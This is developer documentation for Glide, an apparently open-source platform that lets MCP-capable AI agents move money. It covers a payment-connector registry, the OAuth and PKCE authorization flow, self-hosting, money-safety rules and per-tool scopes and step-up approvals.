* **Compliance:** [`packages/connectors/bridge-mock/COMPLIANCE.md`](../packages/connectors/bridge-mock/COMPLIANCE.md)
### chainalysis
* **Display name:** Chainalysis
* **Vendor:** chainalysis
* **Trust tier:** `core`
* **Capabilities:** `screening`
* **Regions:** \*
* **Currencies:** \*
* **Egress hosts:** `public.chainalysis.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/chainalysis/`](../packages/connectors/chainalysis/)
* **Compliance:** [`packages/connectors/chainalysis/COMPLIANCE.md`](../packages/connectors/chainalysis/COMPLIANCE.md)
### chainalysis-mock
* **Display name:** Chainalysis (mock)
* **Vendor:** chainalysis
* **Trust tier:** `core`
* **Capabilities:** `screening`
* **Regions:** \*
* **Currencies:** \*
* **Egress hosts:** *(none — no network access at runtime)*
* **Source:** [`packages/connectors/chainalysis-mock/`](../packages/connectors/chainalysis-mock/)
* **Compliance:** [`packages/connectors/chainalysis-mock/COMPLIANCE.md`](../packages/connectors/chainalysis-mock/COMPLIANCE.md)
### column
* **Display name:** Column
* **Vendor:** column
* **Trust tier:** `core`
* **Capabilities:** `banking`
* **Regions:** US
* **Currencies:** USD
* **Egress hosts:** `api.column.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/column/`](../packages/connectors/column/)
* **Compliance:** [`packages/connectors/column/COMPLIANCE.md`](../packages/connectors/column/COMPLIANCE.md)
### due
* **Display name:** Due
* **Vendor:** due
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`
* **Regions:** EU, GB, US
* **Currencies:** USD, EUR, GBP, USDC
* **Egress hosts:** `api.due.network`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/due/`](../packages/connectors/due/)
* **Compliance:** [`packages/connectors/due/COMPLIANCE.md`](../packages/connectors/due/COMPLIANCE.md)
### gnosis-pay
* **Display name:** Gnosis Pay
* **Vendor:** gnosis\_pay
* **Trust tier:** `core`
* **Capabilities:** `card`, `kyc`
* **Regions:** EU, GB
* **Currencies:** EUR, USDC, EURE
* **Egress hosts:** `api.gnosispay.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/gnosis-pay/`](../packages/connectors/gnosis-pay/)
* **Compliance:** [`packages/connectors/gnosis-pay/COMPLIANCE.md`](../packages/connectors/gnosis-pay/COMPLIANCE.md)
### idrx
* **Display name:** IDRX
* **Vendor:** idrx
* **Trust tier:** `core`
* **Capabilities:** `orchestration`
* **Regions:** ID
* **Currencies:** IDR, USDC, IDRX
* **Egress hosts:** `idrx.co`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/idrx/`](../packages/connectors/idrx/)
* **Compliance:** [`packages/connectors/idrx/COMPLIANCE.md`](../packages/connectors/idrx/COMPLIANCE.md)
### manteca
* **Display name:** Manteca (Transferencias 3.0)
* **Vendor:** manteca
* **Trust tier:** `core`
* **Capabilities:** `qr-gateway`, `orchestration`
* **Regions:** AR
* **Currencies:** USDC, ARS
* **Egress hosts:** `api.manteca.dev`
* **AML posture:** `pass-through`
* **Source:** [`packages/connectors/manteca/`](../packages/connectors/manteca/)
* **Compliance:** [`packages/connectors/manteca/COMPLIANCE.md`](../packages/connectors/manteca/COMPLIANCE.md)
### monerium
* **Display name:** Monerium
* **Vendor:** monerium
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`
* **Regions:** EU
* **Currencies:** EUR, EURE, USDC
* **Egress hosts:** `api.monerium.app`, `api.monerium.dev`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/monerium/`](../packages/connectors/monerium/)
* **Compliance:** [`packages/connectors/monerium/COMPLIANCE.md`](../packages/connectors/monerium/COMPLIANCE.md)
### noah
* **Display name:** Noah
* **Vendor:** noah
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`
* **Regions:** \*
* **Currencies:** USD, EUR, GBP, USDC, USDT
* **Egress hosts:** `api.noah.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/noah/`](../packages/connectors/noah/)
* **Compliance:** [`packages/connectors/noah/COMPLIANCE.md`](../packages/connectors/noah/COMPLIANCE.md)
### noah-mock
* **Display name:** Noah (mock)
* **Vendor:** noah
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`
* **Regions:** \*
* **Currencies:** USD, EUR, GBP, USDC, USDT
* **Egress hosts:** *(none — no network access at runtime)*
* **Source:** [`packages/connectors/noah-mock/`](../packages/connectors/noah-mock/)
* **Compliance:** [`packages/connectors/noah-mock/COMPLIANCE.md`](../packages/connectors/noah-mock/COMPLIANCE.md)
### paytrie
* **Display name:** Paytrie
* **Vendor:** paytrie
* **Trust tier:** `core`
* **Capabilities:** `orchestration`
* **Regions:** CA
* **Currencies:** CAD, USDC, CADC
* **Egress hosts:** `api.paytrie.com`, `sandbox.paytrie.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/paytrie/`](../packages/connectors/paytrie/)
* **Compliance:** [`packages/connectors/paytrie/COMPLIANCE.md`](../packages/connectors/paytrie/COMPLIANCE.md)
### privy
* **Display name:** Privy
* **Vendor:** privy
* **Trust tier:** `core`
* **Capabilities:** `auth`
* **Regions:** \*
* **Currencies:** \*
* **Egress hosts:** `auth.privy.io`, `api.privy.io`
* **Source:** [`packages/connectors/privy/`](../packages/connectors/privy/)
* **Compliance:** [`packages/connectors/privy/COMPLIANCE.md`](../packages/connectors/privy/COMPLIANCE.md)
### rpc-direct
* **Display name:** RPC Direct (zero-vendor balance fallback)
* **Vendor:** rpc-direct
* **Trust tier:** `core`
* **Capabilities:** `balance`
* **Regions:** \*
* **Currencies:** USDC, USDT, EURC, ETH, SOL, MATIC, BNB
* **Egress hosts:** *(none — no network access at runtime)*
* **Source:** [`packages/connectors/rpc-direct/`](../packages/connectors/rpc-direct/)
* **Compliance:** [`packages/connectors/rpc-direct/COMPLIANCE.md`](../packages/connectors/rpc-direct/COMPLIANCE.md)
### sanctions-permissive
* **Display name:** Sanctions screening DISABLED (permissive)
* **Vendor:** sanctions-permissive
* **Trust tier:** `community`
* **Capabilities:** `screening`
* **Regions:** \*
* **Currencies:** \*
* **Egress hosts:** *(none — no network access at runtime)*
* **AML posture:** `unscreened`
* **Source:** [`packages/connectors/sanctions-permissive/`](../packages/connectors/sanctions-permissive/)
* **Compliance:** [`packages/connectors/sanctions-permissive/COMPLIANCE.md`](../packages/connectors/sanctions-permissive/COMPLIANCE.md)
### wirex
* **Display name:** Wirex
* **Vendor:** wirex
* **Trust tier:** `core`
* **Capabilities:** `card`, `kyc`
* **Regions:** EU, GB
* **Currencies:** EUR, GBP, USDC
* **Egress hosts:** `api.wirexapp.com`, `api.wirextest.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/wirex/`](../packages/connectors/wirex/)
* **Compliance:** [`packages/connectors/wirex/COMPLIANCE.md`](../packages/connectors/wirex/COMPLIANCE.md)
# Agent platform
Source: https://glide-9da73dea.mintlify.app/oss/headless/index
Banking For Your Agents — the operating account Claude, ChatGPT, Vertex, OpenClaw, and Hermes agents use to move real money, scoped by a multisig-governed envelope the principal controls.
**Banking For Your Agents** — the operating account Claude, ChatGPT, Vertex, OpenClaw, Hermes, and any other MCP-capable agent runtime uses to move real money, scoped by a multisig-governed envelope the principal controls.
This directory holds the dev-facing documentation for the Glide Agent Platform. The hosted instance lives at `docs.glide.co/agents`; **self-hosters: see [`SELF_HOSTING.md`](./SELF_HOSTING.md) in this directory** for the OSS-shape deploy guide.
> The examples below reference Glide-Cloud URLs (`auth.glide.co`, `mcp.glide.co`). For self-host, substitute `auth.` and `mcp.` — the OAuth + MCP contracts are identical.
## Quickstart
1. **Register an MCP client.** Dynamic Client Registration (RFC 7591) at `https://auth.glide.co/oauth2/register`. You get back a `client_id` + `client_secret`.
2. **OAuth authorize flow.** Redirect the user to `https://auth.glide.co/oauth2/authorize` with `response_type=code`, `client_id`, `redirect_uri`, `code_challenge` (S256), `scope`, and `resource=urn:glide:vault:` (RFC 8707 resource indicator). On approval you get an `authorization_code`; exchange for a bearer grant at `/oauth2/token`.
3. **Call MCP tools.** Three endpoints under `https://mcp.glide.co`:
* `/read` — accounts, balances, transactions, agents, skills, audit stream
* `/write` — payments, cards, transfers, beneficiaries, x402
* `/treasury` — grant issuance, signer rotation, yield allocation, kill-switch
4. **Handle step-up.** Write tools that cross the policy envelope return JSON-RPC `-32003` with a `step_up_url`. Surface that URL; the user biometric-approves on the Glide web sheet; retry your tool call with the returned `step_up_sigil`.
## Authentication
### Grant shape
Grants are JWTs with the following claims:
| Claim | Meaning |
| --------------------- | -------------------------------------------------- |
| `sub` | Principal user ID (the human) |
| `act.sub` | Agent principal ID (the acting agent) |
| `azp` | Authorized party (your registered MCP `client_id`) |
| `aud.vault_id` | Scoped resource vault |
| `aud.entity_id` | Scoped resource entity |
| `scope` | Closed-vocab scopes (see below) |
| `policy_version` | Envelope version at grant issue time |
| `iat` / `nbf` / `exp` | Max TTL 60 minutes |
| `jti` | Server-side grant ID (for revocation) |
### Scopes (closed vocabulary)
```
accounts:read
agents:read
payments:initiate
payments:simulate
cards:manage
agent:budget:create
agent:budget:revoke
beneficiary:write
x402:pay
x402:receive
audit:stream
treasury:rotate-signer
treasury:yield-allocate
```
New scopes require a schema migration — no free-text scope extension.
## Tool reference
See [tool-reference.md](./tool-reference.md) for per-tool input/output schemas + annotations.
## Error taxonomy
JSON-RPC error codes emitted by the gateway:
| Code | Name | Meaning |
| -------- | ------------------- | ------------------------------------------------ |
| `-32602` | `InvalidParams` | Shape / zod validation / input mismatch |
| `-32000` | `Unauthenticated` | Grant invalid / revoked / expired |
| `-32001` | `Unauthorized` | Scope / audience / tenant mismatch |
| `-32002` | `PolicyDenied` | Envelope violation (axis + reason\_id in `data`) |
| `-32003` | `StepUpRequired` | User approval needed (`step_up_url` in `data`) |
| `-32004` | `RateLimited` | Retry after `retry_after_seconds` |
| `-32005` | `VaultContention` | Transient; safe to retry |
| `-32006` | `VendorUnavailable` | Upstream dep (Privy, Bridge, RPC, V2/V3 roadmap) |
| `-32603` | `InternalError` | Correlation ID surfaced; report to support |
## Rate limits
Per-tenant, per-client, per-category buckets:
* `read`: 300 req/min, 1.5× burst → effective 450/min
* `write`: 60 req/min, 1.5× burst → effective 90/min
* `treasury`: 10 req/min, 1.2× burst → effective 12/min
`429` response includes `retry_after_seconds`.
## Idempotency
Every write tool requires `idempotency_key` (min 8 chars, max 128). Server caches `(key, result)` for 24 hours keyed on `(agent_principal_id, idempotency_key)`. Replays return the cached response without re-executing.
## SDK examples
See [sdk-examples/](./sdk-examples/) for TypeScript + Python starter snippets (published as `@glideco/mcp-client` / `glide-mcp-client` in v1.5 per PLAN.md roadmap).
## What's deferred
* AP2 Payment Mandate (v1.5)
* DPoP / mTLS sender-constrained tokens (v1.5)
* DID-based agent identity (v2)
* GNAP grant issuance (v2)
* Full BaaS REST platform (V5 Bucket 6.1)
See PLAN.md §"NOT in scope" for the full deferred list.
# OAuth flow
Source: https://glide-9da73dea.mintlify.app/oss/headless/oauth-flow
End-to-end authorization_code + PKCE flow for MCP clients. RFC 7591 dynamic client registration, RFC 8707 resource-indicator-bound tokens, RFC 9728 discovery.
End-to-end authorization\_code + PKCE flow for MCP clients.
## 1. Dynamic Client Registration
```
POST https://auth.glide.co/oauth2/register
Content-Type: application/json
{
"client_name": "My Agent Runtime",
"redirect_uris": ["https://my-runtime.example/oauth/callback"],
"grant_types": ["authorization_code", "refresh_token"],
"response_types": ["code"],
"token_endpoint_auth_method": "client_secret_post",
"scope": "accounts:read payments:initiate payments:simulate audit:stream"
}
```
Response:
```json theme={null}
{
"client_id": "client-01H...",
"client_secret": "sk_live_...",
"client_id_issued_at": 1714...,
"redirect_uris": ["https://my-runtime.example/oauth/callback"]
}
```
## 2. Authorize (end-user redirect)
```
GET https://auth.glide.co/oauth2/authorize
?response_type=code
&client_id=client-01H...
&redirect_uri=https://my-runtime.example/oauth/callback
&code_challenge=
&code_challenge_method=S256
&scope=accounts:read payments:initiate
&resource=urn:glide:vault:abc-123
&state=
```
The user lands on the Glide step-up sheet, authenticates via Privy (Face-ID + email OTP as needed), and authorizes the requested scope+resource binding. Glide redirects back with `?code=...&state=...`.
## 3. Token exchange
```
POST https://auth.glide.co/oauth2/token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code
&code=
&redirect_uri=https://my-runtime.example/oauth/callback
&client_id=client-01H...
&client_secret=sk_live_...
&code_verifier=
```
Response:
```json theme={null}
{
"access_token": "",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "...",
"scope": "accounts:read payments:initiate",
"jti": "grant-01H..."
}
```
## 4. Call MCP tools
```
POST https://mcp.glide.co/write
Authorization: Bearer
Content-Type: application/json
{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{
"name":"payments.initiate",
"arguments":{
"counterparty":{"address":"0xabc","chain":"eth","token":"USDC"},
"amount_cents":10000,"currency":"USDC",
"idempotency_key":"idem-001"
}
}}
```
## 5. Refresh
```
POST https://auth.glide.co/oauth2/token
grant_type=refresh_token&refresh_token=&client_id=...&client_secret=...
```
Refreshing issues a new access token; the old grant's `jti` is superseded. Clients MUST track only the latest `jti` for revocation.
## Revocation
Tokens are revoked by the user at `app.glide.co/dashboard/agents/:id` or by the agent itself via `agent.grant.issue` (which supersedes the prior grant) / `killSwitch.all` (global revoke).
Grant-wrapper fresh-reads the `revoked_at` column on every tool call — revocation is MCP-inert within 3s P99.
# Partner registry submissions
Source: https://glide-9da73dea.mintlify.app/oss/headless/partner-registries
Submission checklist for Anthropic Connector Marketplace, ChatGPT Apps, Google Vertex, OpenClaw, Hermes. Tracks the pre-submit checklist that a human operator works through once the infra is green.
Submissions require registered OAuth clients + live `mcp.glide.co` + approved icons — none of which the CI can emit by itself. This file tracks the submission checklist that a human operator works through once the infra is green.
## P6.1 — Anthropic Claude Desktop Connector Marketplace
**Artifact:** `docs/designs/agent-distribution-partner-packs/anthropic/connector-manifest.json`
**Pre-submit checklist:**
* [ ] `NEXT_PUBLIC_PRIVY_APP_ID` + Privy programmable signing policy live on prod.
* [ ] `mcp.glide.co/{read,write,treasury}` returns 200 on health checks.
* [ ] `auth.glide.co/.well-known/oauth-authorization-server` serves metadata.
* [ ] Icon uploaded at `glide.co/brand/glide-connector-icon-1024.png`.
* [ ] At least one internal smoke test: Claude Desktop → authorize → trip-budget skill end-to-end.
* [ ] Content-policy attestations reviewed by legal.
**Submit via:** Anthropic Partner Portal ([https://console.anthropic.com/partners](https://console.anthropic.com/partners)).
**Review cadence:** \~1-2 weeks initial. Rejection paths documented at [Anthropic Connector Docs](https://docs.anthropic.com/claude/docs/connectors).
## P6.2 — OpenAI ChatGPT Apps SDK
**Artifact:** `docs/designs/agent-distribution-partner-packs/openai/plugin-manifest.json`
**Pre-submit checklist:**
* [ ] Same infra as Anthropic (Privy, MCP, OAuth AS).
* [ ] Verification token obtained from OpenAI dashboard.
* [ ] OpenAPI spec auto-generated from MCP tool catalog (see Phase 6 P6.4 CI).
* [ ] Icon at `glide.co/brand/glide-chatgpt-icon-1024.png`.
* [ ] At least one internal smoke test: ChatGPT Apps → authorize → trip-budget end-to-end.
**Submit via:** OpenAI Apps SDK submission form.
## P6.3 — Google Vertex AI Agent Builder
**Artifact:** `docs/designs/agent-distribution-partner-packs/google-vertex/agent-tool.json`
**Pre-submit checklist:**
* [ ] Same infra as above.
* [ ] Service-account role `roles/vertex-ai.agent-tool-consumer` published.
* [ ] VPC Service Controls compatibility tested with one design-partner tenant.
* [ ] SOC 2 Type II attestation status documented (in progress at submission time is fine).
**Submit via:** Google Cloud Marketplace partner portal.
## Tracking
Each submission's status is tracked in `~/.gstack/projects/darshanbathija-axtior-neobank/ceo-plans/2026-04-24-glide-headless-agentic-banking.md` under the "distribution" section. Update after every review cycle.
## Rollback
Per PLAN.md §"Rollback posture": if any registry flags Glide for policy violation, remove the manifest from registry + disable that OAuth client. Takes effect within each registry's cache TTL (Anthropic \~1h, OpenAI \~30min, Vertex \~15min).
# Agent platform quickstart
Source: https://glide-9da73dea.mintlify.app/oss/headless/quickstart
Spin up apps/mcp locally + connect Claude Desktop / ChatGPT / Vertex / OpenClaw / Hermes. The 30-minute path to a working agent banking environment.
This is the agent-platform-specific quickstart. For the broader Glide bring-up (web app + data layer), see the [main quickstart](/oss/quickstart).
## Prerequisites
* Glide running locally per the [main quickstart](/oss/quickstart) (Postgres on `localhost:5435`, Redis on `localhost:6381`, Inngest dev on `localhost:8288`, web on `localhost:3000`).
* Privy Multi-tenant tenant with `NEXT_PUBLIC_PRIVY_APP_ID` + `PRIVY_APP_SECRET` set.
* Node 22+, pnpm.
## Boot `apps/mcp`
```bash theme={null}
# In the axtior-neobank repo
pnpm --filter mcp dev
```
This boots the MCP gateway on `localhost:8787` with HMAC-SHA256 dev verifier. The dev secret is read from `MCP_TOKEN_VERIFIER_DEV_SECRET` in your `.env.local`.
Set a 32-byte hex secret if you haven't already:
```bash theme={null}
echo "MCP_TOKEN_VERIFIER_DEV_SECRET=$(openssl rand -hex 32)" >> apps/web/.env.local
```
## Sanity-check the gateway
```bash Public manifest (no auth) theme={null}
curl http://localhost:8787/mcp/manifest
```
```bash Tool catalog discovery (no auth, MCP spec) theme={null}
curl -X POST http://localhost:8787/mcp/read \
-H 'content-type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
```
```bash Health probes theme={null}
curl http://localhost:8787/healthz
curl http://localhost:8787/readyz
```
## Connect an agent runtime
The MCP gateway speaks MCP spec 2025-11-25. Any MCP-compliant runtime works. Glide ships partner pack drafts for the five hero runtimes — see [Partner registries](/oss/headless/partner-registries).
### Claude Desktop
Add to your `claude_desktop_config.json`:
```json theme={null}
{
"mcpServers": {
"glide-local": {
"url": "http://localhost:8787/mcp/read",
"headers": {
"Authorization": "Bearer "
}
}
}
}
```
For local dev, generate an HMAC-signed JWT against your dev secret. For production, you'd issue this through your Ory Hydra deployment per the [OAuth flow](/oss/headless/oauth-flow).
### ChatGPT Apps
Submit through the [Partner registry submission flow](/oss/headless/partner-registries) once you've stood up `auth.` + verified `mcp.`.
### Google Vertex / OpenClaw / Hermes
Same submission flow. Each pack has a `connector-manifest.json` template at `docs/designs/agent-distribution-partner-packs//`.
## Three confused-deputy-isolated endpoints
| Endpoint | Tools | Trust scope |
| --------------- | --------------------------------------------------------------------------- | ------------------------------ |
| `/mcp/read` | accounts, balances, transactions, agents, skills, audit stream | Read-only — no money movement |
| `/mcp/write` | payments, cards, transfers, beneficiaries, x402 pay/receive, yield allocate | Money-touching; envelope-bound |
| `/mcp/treasury` | grant issuance, signer rotation, kill-switch | Admin-only; principal explicit |
**Confused-deputy guard:** a `read` token cannot call `write` or `treasury` tools. The check fires BEFORE auth so a sniffed token from one endpoint can't probe the others.
## Step-up via URL-mode elicitation
Tools that cross the policy envelope return JSON-RPC `-32003` with a `step_up_url`. The client surfaces that URL; the principal biometric-approves on the Glide web sheet at `localhost:3000/step-up/[sigil]`; the client retries the tool call with the returned `step_up_sigil`.
Sigils are CAS-claimed first-use-only (F7 IRON RULE).
## Where to next
* [OAuth flow](/oss/headless/oauth-flow) — full RFC 7591 + 8707 + PKCE walk-through for production.
* [Tool reference](/oss/headless/tool-reference) — every tool's input + output schema.
* [Self-hosting the agent platform](/oss/headless/self-hosting) — Ory Hydra deploy + production posture.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — the F-rules every tool path observes.
# Self-hosting the agent platform
Source: https://glide-9da73dea.mintlify.app/oss/headless/self-hosting
Operator guide for running apps/mcp + the Headless agent stack on your own infrastructure. OAuth AS adapter choice (Ory vs external BYO), money-safety F-rules, agent-skill install saga.
This guide covers running `apps/mcp` + the Headless agent stack on your own infrastructure. It supplements the top-level [`docs/SELF_HOSTING.md`](../SELF_HOSTING.md), which covers the rest of the orchestration shell.
## What you're standing up
| Service | Role | Required? |
| --------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | --------- |
| `apps/mcp` (this repo) | MCP gateway: `/read`, `/write`, `/treasury` + `tools/list` discovery + `tools/call` invocation | yes |
| `auth.` (Ory or BYO) | OAuth Authorization Server — RFC 7591 dynamic client registration, RFC 8707 resource-indicator-bound tokens | yes |
| `apps/web` (this repo) | Origin app for the agent-skill consent flow + tenant DB host | yes |
| Postgres 16+ | Per-tenant DB. Migrations 0039–0044 add the agent tables | yes |
| Upstash Redis (or self-run) | Token-bucket rate-limit + step-up nonce store. Free tier sufficient for low-traffic prod; the project ships against the Vercel-Upstash integration | yes |
## OAuth Authorization Server adapter
OSS supports two adapter shapes per the Cathedral plan §M2.5:
### Option A — Ory Hydra
Run a managed Ory Hydra instance with Postgres backend. Configure Privy as the upstream IDP (Ory delegates user auth to Privy and issues OAuth grants on top).
**Pros:** RFC 7591 + RFC 8707 + RFC 9728 all native. Audit trail. Separate failure domain from `apps/web`.
**Cons:** Operational cost (Ory Enterprise is paid; Ory Cloud free tier is rate-limited).
### Option B — External BYO
Bring any RFC 9728-compliant OAuth AS — Auth0, Keycloak, Okta, etc. — and point `apps/mcp` at its discovery endpoint via `AUTH_SERVER_PROVIDER=external` + `OAUTH_AS_DISCOVERY_URL`.
**Pros:** Use the IdP your org already pays for.
**Cons:** Self-host responsibility for RFC 7591 dynamic client registration if your AS doesn't support it natively.
> **Glide does NOT ship a custom in-house OAuth AS in OSS.** Per the plan §M2.5 Codex review fix #2, shipping a minimal in-house AS for a banking/MCP platform is security-critical surface a solo team should refuse to own.
## Apps/MCP transport
The MCP server uses a hand-rolled JSON-RPC envelope (NOT `@modelcontextprotocol/sdk` — the SDK's HTTP transport is in flux per spec revision 2025-11-25). The wire format is pinned to MCP spec 2025-11-25.
Endpoints:
* `POST /mcp/read` — read-only tool calls (accounts, balances, transactions, agents, skills, audit stream)
* `POST /mcp/write` — write tool calls (payments, cards, transfers, beneficiaries, x402)
* `POST /mcp/treasury` — treasury tool calls (grant issuance, signer rotation, yield allocation, kill-switch)
* `GET /mcp/manifest` — public capability discovery (no auth)
* `POST /mcp/{endpoint}` with `tools/list` — public catalog discovery (no auth, per MCP spec)
* `GET /healthz`, `GET /readyz` — ops probes (no auth)
**Confused-deputy guard:** a `read` token cannot call `write` or `treasury` tools, and vice versa. The check fires BEFORE auth so a sniffed token from one endpoint can't probe the others.
**Auth:**
* `dev` — `MCP_TOKEN_VERIFIER_DEV_SECRET` HMAC-SHA256 (set this in `.env.local`).
* `prod` — Ory Hydra JWKS via `jose`. Set `AUTH_SERVER_PROVIDER=ory` + `OAUTH_AS_JWKS_URL=https://auth./.well-known/jwks.json`.
## Money-safety contracts (preserve in self-host)
The Headless platform encodes six "IRON RULE" money-safety contracts that EVERY money-touching tool path observes. Per the M2.5 plan, these are the named contracts that gate all agent activity:
* **F1 — Server-side RPC verify.** `x402.pay` persists `on_chain_tx` + amount from `serverFetchChainTx` (RPC), NEVER from facilitator receipt.
* **F2 — CAS-claim before broadcast.** `agent_pending_payments` rows are claimed via `UPDATE ... WHERE status='pending' AND claimed_at IS NULL RETURNING id`.
* **F3 — Fresh-read tenant verification.** `@repo/grant-wrapper` re-reads tenant from DB on every tool invocation; cached grant alone never authorizes.
* **F4 — Append-only trigger on `activity_log`.** UPDATE/DELETE/TRUNCATE rejected unless `app.dsar_context_id` session var is set (admin DSAR path only).
* **F5 — Atomic policy\_version bump on signer rotation.** `vault.rotateSigner` advances `policy_version` in the same transaction as the on-chain rotation.
* **F7 — Sigil first-use-only.** URL-mode elicitation sigils are CAS-claimed on first use; race losers reject.
(F6 reserved; not assigned in PR153.)
If you fork `apps/mcp` and remove any of these, **you accept full responsibility for the money-safety posture** of the resulting deployment. They are not optional.
## Agent-skill install saga
When a user installs an agent skill, the saga runs through these states:
```
STARTED → ENTITY_PICKED → POLICY_CONFIGURED → PARTNER_OAUTH_BOUND
→ PRIVY_POLICY_INSTALLED → SUB_VAULT_CREATED → GRANT_ISSUED → COMPLETE
```
A reaper job runs every 10 minutes (an Inngest cron in `apps/web/src/inngest/functions/`) and rolls back partial installs older than 30 minutes. **The reaper is not optional** — without it, a worker crash mid-saga leaves the user with a partial install + a Privy policy on the wrong vault. Self-hosters who skip the reaper see this in production.
## Branch A' policy enforcement (per Privy spike)
Per `docs/designs/privy-policy-spike.md` (the Headless v1 Privy spike result):
* **EVM:** `per_tx_max`, `counterparty_allowlist`, `time_window`, `daily_cap`, `velocity_caps` all enforce on Privy programmable signing policy NATIVELY.
* **Solana:** `per_tx_max`, `counterparty_allowlist`, `time_window` enforce natively. Stateful aggregation (`daily_cap`, `velocity_caps`) lives in the router Redis layer.
Self-hosted policy engine MUST support BOTH paths. `@repo/policy-engine` already does — see the `evaluate()` contract tests for the split.
## Deployment patterns
### Pattern 1 — Single Vercel project (small operators)
`apps/web` and `apps/mcp` share a Vercel project. The MCP routes mount under `/api/mcp/*`. Simpler, but you cannot scale the two services independently.
### Pattern 2 — Separate Vercel project for `apps/mcp` (recommended)
`apps/web` ships at `glide.example.com`. `apps/mcp` ships at `mcp.glide.example.com` as its own Vercel project. Auto-deploy from the same monorepo, but with the project's `Root Directory` set to `apps/mcp`.
### Pattern 3 — Fly.io for `apps/mcp`
For operators who want region pinning. `fly launch` from `apps/mcp/`, set the env above, deploy. Postgres + Upstash stay wherever you have them.
## Testing your deployment
Once `apps/mcp` is live, sanity-check with `curl`:
```bash theme={null}
# 1. Public manifest (no auth)
curl https://mcp.glide.example.com/mcp/manifest
# 2. Tool catalog discovery (no auth, MCP spec)
curl -X POST https://mcp.glide.example.com/mcp/read \
-H 'content-type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
# 3. Health probes
curl https://mcp.glide.example.com/healthz
curl https://mcp.glide.example.com/readyz
```
For end-to-end (with a real Privy-issued JWT):
1. Register an OAuth client at `auth.glide.example.com/oauth2/register` (RFC 7591).
2. Walk the authorization\_code + PKCE flow per [`oauth-flow.md`](./oauth-flow.md).
3. Call a tool with the bearer grant; expect a JSON-RPC response.
## What's NOT in OSS today
* The Trust Console UI (M4) — read-only DB-backed admin view of agent activity, anomaly detection, explainer LLM. Lands after Glide Cloud has soaked Trust Console v1 for 12 weeks per the plan.
* The `glide.co/skills` public marketplace UI is OSS at `apps/web/src/app/(public)/skills/` (PR153 Phase 4) — but the partner-PR flow + signed Trusted Skill Agreement land with M5.
* The `glide partner submit` CLI lands with M5.5.
## Where to file issues
* Agent-platform bugs: GitHub issues with the `agent-platform` label.
* OSS deploy questions: `docs/SELF_HOSTING.md` covers general self-host; this file is the agent-specific addendum.
* Security vulnerabilities: `security@axtior.com` per `SECURITY.md`.
# Tool reference
Source: https://glide-9da73dea.mintlify.app/oss/headless/tool-reference
Every MCP tool exposed by apps/mcp — read, write, treasury endpoints. Input schemas, output schemas, money-safety F-rule contract.
All 22 tools at MCP v1 GA. Each handler lives in `apps/mcp/src/tools/.ts`.
Format per tool: `name · scope · category · annotations`. Full input/output schemas in the source file.
## Write tools (`/write` endpoint, 60 req/min cap)
| Tool | Scope | Annotations |
| ------------------- | ------------------- | ---------------------------------------------------------------------- |
| `payments.initiate` | `payments:initiate` | destructive · idempotent · requires human approval (step-up threshold) |
| `payments.simulate` | `payments:simulate` | read-only · idempotent (dry-run) |
| `cards.issue` | `cards:manage` | idempotent |
| `cards.freeze` | `cards:manage` | idempotent (already\_frozen is no-op) |
| `beneficiary.add` | `beneficiary:write` | requires human approval (principal multisig-proposal gate) |
| `transfer.schedule` | `payments:initiate` | idempotent · policy re-eval at execute time |
| `payroll.run` | `payments:initiate` | destructive · requires human approval · V2-dep-flagged |
| `x402.pay` | `x402:pay` | destructive · idempotent · F1 server-fetch tx verify |
| `x402.receive` | `x402:receive` | read-only (endpoint metadata describe) |
## Read tools (`/read` endpoint, 300 req/min cap)
| Tool | Scope |
| ------------------- | ---------------------------------------------------------- |
| `accounts.list` | `accounts:read` |
| `accounts.balance` | `accounts:read` |
| `transactions.list` | `accounts:read` |
| `agents.list` | `agents:read` |
| `skills.list` | `agents:read` |
| `audit.stream` | `audit:stream` (mints SSE cursor — `idempotentHint=false`) |
## Treasury tools (`/treasury` endpoint, 10 req/min cap)
| Tool | Scope | Notes |
| --------------------- | ------------------------- | ---------------------------------------------------------- |
| `agent.budget.create` | `agent:budget:create` | saga with 4-step rollback; requires human approval |
| `agent.budget.revoke` | `agent:budget:revoke` | destructive · auto-sweep on by default |
| `agent.grant.issue` | `agent:budget:create` | step-up required; refuses scope escalation |
| `vault.rotateSigner` | `treasury:rotate-signer` | step-up required; bumps policy\_version |
| `yield.allocate` | `treasury:yield-allocate` | V3-dep-flagged; envelope step-up respected |
| `killSwitch.all` | `agent:budget:revoke` | destructive · emergency · `confirm_scope` literal required |
## Step-up flow (shared)
Write/treasury tools over the envelope return JSON-RPC `-32003` with:
```json theme={null}
{
"code": -32003,
"message": "amount 60000 requires step-up approval",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up/"
}
}
```
Surface the URL to the user. They biometric-approve on the Glide sheet. Retry the tool with `step_up_sigil=`. CAS-claim guarantees first-use-only; a 5-minute grace window returns the same payload to benign polls (prevents re-asking on network retry).
## Annotations honored by MCP clients
Per MCP 2025-11-25 spec:
* `readOnlyHint`: no side effects.
* `destructiveHint`: cannot be undone by the tool itself.
* `idempotentHint`: safe to retry with same params.
* `openWorldHint`: interacts with external systems (x402.pay, facilitators).
Glide extension:
* `requiresHumanApproval`: client SHOULD surface the step-up flow to the user even before calling.
Official Glide clients (Claude Desktop, ChatGPT Apps, Vertex) verify emitted annotations match the client-side registry; mismatch = refuse to execute. Custom runtimes that bypass this client-side check are still caught by the server-side annotation check on each call.
# Glide OSS
